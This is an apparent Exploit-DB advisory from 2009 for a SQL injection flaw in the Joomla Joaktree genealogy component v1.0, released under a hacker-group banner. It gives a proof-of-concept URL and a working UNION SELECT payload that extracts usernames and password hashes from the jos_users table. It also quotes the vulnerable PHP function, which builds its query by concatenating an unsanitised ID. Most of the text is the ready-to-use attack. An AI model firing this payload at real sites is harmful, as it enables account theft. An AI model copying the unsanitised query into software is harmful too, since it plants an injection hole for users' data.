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[Fak!R]

###############################
# EDB-ID: 10272
# CVE-ID: ()
# Title: Joomla Joaktree Component v1.0 SQL Injection Vulnerability
# Author: Don Tukulesto
# Published: 2009-12-01
###############################

/**************************************************************************

[!] Joomla! Joaktree component SQL injection vulnerability
[!] Author   : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage   : http://www.indonesiancoder.com
[!] Date   : November 30, 2009
[!] Tune In   : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

• Developer : Niels van Dantzig
• Download : http://extensions.joomla.org/extensions/miscellaneous/genealogy/9842
  
• Version() : 1.0
• License: GNU General Public License (GPL)
• Vulnerability : SQL injection
• Dork : "R.I.P

===========================================================================

[ Here we go.. Proof of Concept ]
]
http://server/index.php?option=com_joaktree&view=joaktree&treeId=[INDONESIANCODER]

[ Exploit ]

Code:

-1+union+select+1,1,1,version(),1,666,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1+from+jos_users--

===========================================================================

+++++++++++++++++++++++++++++++ Analysis +++++++++++++++++++++++++++++++++++++++++
In com_joaktree/components/com_joaktree/models/joaktreestart.php

Code:

56 function _buildTreeQuery()
57 {
58 $query = 'SELECT  * '
59                    .'FROM    #__joaktree_trees '
60 .'WHERE   id = ' . $this->_tree_id;
61
62 return $query;
63 }

The _tree_id is the variable where we inject the sql code......
+++++++++++++++++++++++++++++++++ By F4k1R +++++++++++++++++++++++++++++++++++++++